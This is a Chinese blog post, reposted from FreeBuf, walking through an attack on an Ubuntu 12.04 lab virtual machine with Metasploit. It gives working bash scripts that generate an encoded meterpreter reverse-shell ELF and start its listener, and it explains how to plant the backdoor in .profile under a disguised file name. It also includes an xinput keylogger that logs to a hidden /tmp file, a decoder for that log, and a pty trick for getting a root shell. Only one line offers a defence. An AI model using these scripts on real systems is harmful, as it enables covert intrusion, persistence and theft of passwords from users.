Metasploit渗透Ubuntu 12.04攻击测试演练


发布人:admin分类:网络安全浏览量:31发布时间:2017-12-12

这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。希望对大家有所帮助。

攻击环境:

Ubuntu12.04LTS 32bit(靶机,默认的软件安装配置)
VirtualBox
Metasploit framework(最新版)
Debian Squeeze 64bit (攻击机)

首先,我们先准备一个简单的二进制ELF可执行文件生成器的bash脚本,这样后续工作就可以轻松很多。然后将脚本放在Metasploit的主目录下:

#!/bin/bash
clear
echo"************************************************"
echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT    *"
echo"************************************************"
echo -e "What IP are we gonna use  ex. 192.168.0.1?  \c"
read IP
echo -e "What Port Number are we gonnalisten to? : \c"
read port
./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive
echo "Executive binarygenerated.."
chmod u=rwx Executive
ls -la Executive

运行脚本之后进行简单的配置之后我们就有了一个名为Executive的二进制可执行文件。

接下来需要我们在攻击机上启动一个监听来等待靶机主动连上来,因为我们这里使用了全球流行的reverse后门哇咔咔!为了工作更加简(zhuang)单(bi),我这里又写了一个bash,然后将bash文件也放在Metasploit的主目录下面:

#!/bin/bash
clear
echo"*********************************************"
echo "   METASPLOIT LINUX METERPRETER LISTENER    *"
echo"*********************************************"
echo "Here is a network device listavailable on yor machine"
cat /proc/net/dev | tr -s  ' ' | cut -d ' ' -f1,2 | sed -e '1,2d'
echo -e "What network interface are wegonna use ?  \c"
read interface
echo -e "What Port Number are we gonnalisten to? : \c"
read port
# Get OS name
OS=`uname`
IO="" # store IP
case $OS in
  Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;;
   *)IP="Unknown";;
esac
echo "      starting the meterpreter listener.."
./msfcli exploit/multi/handler  PAYLOAD=linux/x86/meterpreter/reverse_tcp  LHOST=$IP LPORT=$port  E

好了,监听生成结束,然后就需要我们使用各种猥琐的方式将后门木马转给Ubuntu靶机执行。因为这里是练习,所以我们直接将ELF文件放在受害机中执行

此处有图胜有声

现在我们就已经在靶机上成功执行了这个“未知”的二进制文件。当我们双击这个文件时没有任何反应(所以这个时候后门注入才是王道),不过我们的攻击机上的监听已经有了结果:

然后呢?我们现在有了一个meterpreter shell,不过应该怎样获取到root权限呢?接下来的工作才是最有趣的部分:接下来,我们将在靶机的home中放一个后门文件,并通过修改.profile文件做到每次靶机启动的时候都会执行我们的后门。为了做到这步,我们首先需要下载靶机的.profile文件:

我们在文件中加了一点点内容以保证每次登录都能成功执行我们的后门文件,这里加的是./executive(用的就是生成的后门文件名,这里我们可以起一些诱惑性大的名字比如sys.conf之类的,但是要保证文件具有可执行+x权限)

然后我们将修改后的.profile文件传回靶机

接着我们上传我们的ELF二进制可执行文件到靶机的home目录里面,并改名为executive同时要保证文件具有RWX属性

那么现在我们就获得了一个简单的持久性后门,每次靶机开机我们这边就可以获得一个上线shell,并且文件时静默执行不含任何防腐剂的。

好的,第一步持久化我们已经完成了,接下来我们做点什么呢?

键盘记录

Ubuntu自带xinput所以我们可以利用这个做一个键盘记录keylogger记录靶机在X界面下的一些按键输入。同时这里作者又写了一bash脚本(……):

#!/bin/bash
export DISPLAY=:0.0
xinput list
echo -e "KBD ID ?"
read kbd
xmodmap -pke > /tmp/.xkey.log
script -c "xinput test $kbd" |cat >> /tmp/.xkey.log &
echo "The keylog can be downloadedfrom /tmp/.xkey.log"
echo "Use the meterpreter downloadfunction"
echo "Press CTLR+C to exit thissession, keylogger will run in backround"

写完之后我们将脚本放在靶机中然后执行。当然最好也来个登录启动。

启动之后我们还需要手工找到键盘的KBD ID,然后输入,这里是10


然后让脚本去识别一下。脚本记录的log文件默认是放在/tmp文件夹下的,一段时间之后,我们下载下来分析一下。

这个脚本的生成的内容地球人是看不懂的,所以我们将log文件down下来之后还需要进行接下来的处理,这里作者写了一个bash文件生成了一个python脚本来解码这段天书log(…),下面是解码的bash脚本:

#!/bin/sh
cat .xkey.log | grep keycode >xmodmap.pke
cat .xkey.log | grep 'key p' > xlog
rm -f .xkey.log
#Generating some Python to do the decoding
echo 'import re, collections, sys' >decoder.py
echo 'from subprocess import *' >>decoder.py
echo 'def keyMap():' >> decoder.py
echo '  table = open("xmodmap.pke")' >> decoder.py
echo '  key = []' >> decoder.py
echo '  for line in table:' >> decoder.py
echo "      m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py
echo '     if m and m.groups()[1]:' >> decoder.py
echo '        key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py
echo '  return key' >> decoder.py
echo 'def printV(letter):' >>decoder.py
echo '     key=keyMap();' >> decoder.py
echo '     for i in key:' >> decoder.py
echo '              if str(letter) ==i.split("_____")[1]:' >> decoder.py
echo '                     return i.split("_____")[0]'>> decoder.py
echo '     return letter' >> decoder.py
echo 'if len(sys.argv) < 2:' >>decoder.py
echo '        print "Usage: %s FILE" %sys.argv[0];' >> decoder.py
echo '        exit();' >> decoder.py
echo 'else:' >> decoder.py
echo '        f = open(sys.argv[1])' >>decoder.py
echo '        lines = f.readlines()' >>decoder.py
echo '        f.close()' >> decoder.py
echo '        for line in lines:' >> decoder.py
echo "                m = re.match('keyss +(\d+)',line)" >> decoder.py
echo '                if m:' >> decoder.py
echo '                          keycode =m.groups()[0]' >> decoder.py
echo '                          print(printV(keycode))' >> decoder.py
 
echo 'Please see LOG-keylogger for theoutput......'
python decoder.py xlog > LOG
sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger
rm -f LOG
rm -f xmodmap.pke
rm -f decoder.py
rm -f xlog
cat LOG-keylogger

现在我们运行一下这个bash脚本,我们就可以看到效果了:

好,keylogger也搞完了接下来就是怎么样获取到root权限了。

获取root权限

在这里,我们从以上的keylogger中获取到了root密码,但是当我们直接输入sudo su获取root的时候却遇到了无法返回响应的情况:

这里有一个绕过的好方法,就是利用自带的python来获取一个交互式的shell从而可以让我们获取root权限(如果仔细看过我之前VPN渗透那篇文章的同学应该记得这个trick):

python -c “import pty;pty.spawn(‘/bin/bash’)”

这样我们sudo su的时候就可以输入root密码了,然后成功获取到了一个root级别的shell,整个过程就完满完成了。

后记

CentOS, Debian Squeeze等有些系统默认是不带xinput的所以keylogger的部分就没办法完成了。

另外,要想防止这个键盘记录其实也很简单,只要去掉xinput的可执行权限就可以了

chmod a-x /path/to/xinput

当然,即便是目标机器上没有自带xinput那难道就会难倒我们么?拜托我们都已经有了meterpreter shell了好么。

最后附上作者做的良心的视频Demo(已搬回墙内,不谢!):

高清视频请自行下载:http://pan.baidu.com/s/1jGpAVWE

有梯子的土豪点这里:http://www.youtube.com/embed/_k_DtYhIOpY

[文/FreeBuf小编xia0k 参考来源:astr0baby.wordpress.com 转载请注明FreeBuf.COM]


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21474562(PV) 页面执行时间:179.148(MS)
  • xml
  • 网站地图